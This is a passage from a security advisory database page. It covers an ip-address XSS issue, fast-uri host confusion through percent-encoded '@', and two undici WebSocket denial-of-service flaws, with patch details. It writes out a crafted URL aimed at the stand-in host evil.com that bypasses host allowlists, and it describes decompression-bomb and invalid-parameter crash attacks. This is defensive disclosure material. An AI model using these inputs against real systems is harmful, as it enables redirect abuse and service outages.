`parseMessage` field of any thrown `AddressError`, as HTML; treat these values as text only, or run them through [DOMPurify](https://github.com/cure53/DOMPurify) before inserting into the DOM (DOMPurify\u0027s default configuration preserves the library\u0027s intended `\u003cspan\u003e` wrapping while stripping any injected event handlers), or\n- Validate input with `Address6.isValid()` and reject anything that contains a zone identifier (a `%` character) or characters outside `[0-9a-fA-F:/]` before passing it to the constructor.\n\n### Lack of separate CVEs\n\nGiven the evidence that these methods are not used, and given that they are all of the same construction, maintainers do not think it\u0027s relevant or useful to create a separate CVE for each library method.\n\n### Credit\n\nip-address thanks @scovetta for reporting this issue.",
"id": "GHSA-v2v4-37r5-5v8g",
"modified": "2026-05-13T16:27:24Z",
"published": "2026-05-05T21:50:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/beaugunderson/ip-address/security/advisories/GHSA-v2v4-37r5-5v8g"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42338"
},
{
"type": "PACKAGE",
"url": "https://github.com/beaugunderson/ip-address"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "ip-address has XSS in Address6 HTML-emitting methods"
}
GHSA-V39H-62P7-JPJC
Vulnerability from github – Published: 2026-05-08 19:13 – Updated: 2026-05-08 19:13Impact
fast-uri v3.1.1 and earlier decodes percent-encoded authority delimiters (%40 as @, %3A as :) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.
For example, http://trusted.com%40evil.com/ normalizes to http://trusted.com@evil.com/, which reparses as host evil.com with userinfo trusted.com.
Applications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.
Patches
Upgrade to fast-uri >= 3.1.2.
Workarounds
None. Upgrade to the patched version.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.1.1"
},
"package": {
"ecosystem": "npm",
"name": "fast-uri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-6322"
],
"database_specific": {
"cwe_ids": [
"CWE-436"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-08T19:13:01Z",
"nvd_published_at": "2026-05-05T11:16:33Z",
"severity": "HIGH"
},
"details": "### Impact\n\n`fast-uri` v3.1.1 and earlier decodes percent-encoded authority delimiters (`%40` as `@`, `%3A` as `:`) inside the host component and serializes them back as raw characters. This changes the URI structure, turning a hostname into userinfo plus a different host.\n\nFor example, `http://trusted.com%40evil.com/` normalizes to `http://trusted.com@evil.com/`, which reparses as host `evil.com` with userinfo `trusted.com`.\n\nApplications that normalize untrusted URLs before host allowlist checks, redirect validation, or outbound request routing can be steered to a different authority than the original URL appeared to contain.\n\n### Patches\n\nUpgrade to `fast-uri` \u003e= 3.1.2.\n\n### Workarounds\n\nNone. Upgrade to the patched version.",
"id": "GHSA-v39h-62p7-jpjc",
"modified": "2026-05-08T19:13:01Z",
"published": "2026-05-08T19:13:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-v39h-62p7-jpjc"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6322"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "PACKAGE",
"url": "https://github.com/fastify/fast-uri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "fast-uri vulnerable to host confusion via percent-encoded authority delimiters"
}
GHSA-V9P9-HFJ2-HCW8
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Impact
The undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the server_max_window_bits parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range server_max_window_bits value (outside zlib's valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.
The vulnerability exists because:
- The
isValidClientWindowBits()function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15 - The
createInflateRaw()call is not wrapped in a try-catch block - The resulting exception propagates up through the call stack and crashes the Node.js process
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-2229"
],
"database_specific": {
"cwe_ids": [
"CWE-248"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:41Z",
"nvd_published_at": "2026-03-12T21:16:25Z",
"severity": "HIGH"
},
"details": "### Impact\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack due to improper validation of the `server_max_window_bits` parameter in the permessage-deflate extension. When a WebSocket client connects to a server, it automatically advertises support for permessage-deflate compression. A malicious server can respond with an out-of-range `server_max_window_bits` value (outside zlib\u0027s valid range of 8-15). When the server subsequently sends a compressed frame, the client attempts to create a zlib InflateRaw instance with the invalid windowBits value, causing a synchronous RangeError exception that is not caught, resulting in immediate process termination.\n\nThe vulnerability exists because:\n\n1. The `isValidClientWindowBits()` function only validates that the value contains ASCII digits, not that it falls within the valid range 8-15\n2. The `createInflateRaw()` call is not wrapped in a try-catch block\n3. The resulting exception propagates up through the call stack and crashes the Node.js process\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_",
"id": "GHSA-v9p9-hfj2-hcw8",
"modified": "2026-03-13T20:41:41Z",
"published": "2026-03-13T20:41:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-v9p9-hfj2-hcw8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-2229"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3487486"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7692"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://nodejs.org/api/zlib.html#class-zlibinflateraw"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unhandled Exception in WebSocket Client Due to Invalid server_max_window_bits Validation"
}
GHSA-VRM6-8VPV-QV8Q
Vulnerability from github – Published: 2026-03-13 20:41 – Updated: 2026-03-13 20:41Description
The undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a "decompression bomb") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.
The vulnerability exists in the PerMessageDeflate.decompress() method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.
Impact
- Remote denial of service against any Node.js application using undici's WebSocket client
- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more
- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits
- No application-level mitigation is possible as decompression occurs before message delivery
Patches
Users should upgrade to fixed versions.
Workarounds
No workaround are possible.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.24.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "undici"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0"
},
{
"fixed": "7.24.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1526"
],
"database_specific": {
"cwe_ids": [
"CWE-409"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T20:41:56Z",
"nvd_published_at": "2026-03-12T21:16:23Z",
"severity": "HIGH"
},
"details": "## Description\n\nThe undici WebSocket client is vulnerable to a denial-of-service attack via unbounded memory consumption during permessage-deflate decompression. When a WebSocket connection negotiates the permessage-deflate extension, the client decompresses incoming compressed frames without enforcing any limit on the decompressed data size. A malicious WebSocket server can send a small compressed frame (a \"decompression bomb\") that expands to an extremely large size in memory, causing the Node.js process to exhaust available memory and crash or become unresponsive.\n\nThe vulnerability exists in the `PerMessageDeflate.decompress()` method, which accumulates all decompressed chunks in memory and concatenates them into a single Buffer without checking whether the total size exceeds a safe threshold.\n\n## Impact\n\n- Remote denial of service against any Node.js application using undici\u0027s WebSocket client\n- A single compressed WebSocket frame of ~6 MB can decompress to ~1 GB or more\n- Memory exhaustion occurs in native/external memory, bypassing V8 heap limits\n- No application-level mitigation is possible as decompression occurs before message delivery\n\n### Patches\n\nUsers should upgrade to fixed versions.\n\n### Workarounds\n\nNo workaround are possible.",
"id": "GHSA-vrm6-8vpv-qv8q",
"modified": "2026-03-13T20:41:56Z",
"published": "2026-03-13T20:41:56Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nodejs/undici/security/advisories/GHSA-vrm6-8vpv-qv8q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1526"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3481206"
},
{
"type": "WEB",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"type": "WEB",
"url": "https://datatracker.ietf.org/doc/html/rfc7692"
},
{
"type": "PACKAGE",
"url": "https://github.com/nodejs/undici"
},
{
"type": "WEB",
"url": "https://owasp.org/www-community/attacks/Denial_of_Service"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Undici has Unbounded Memory Consumption in WebSocket permessage-deflate Decompression"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.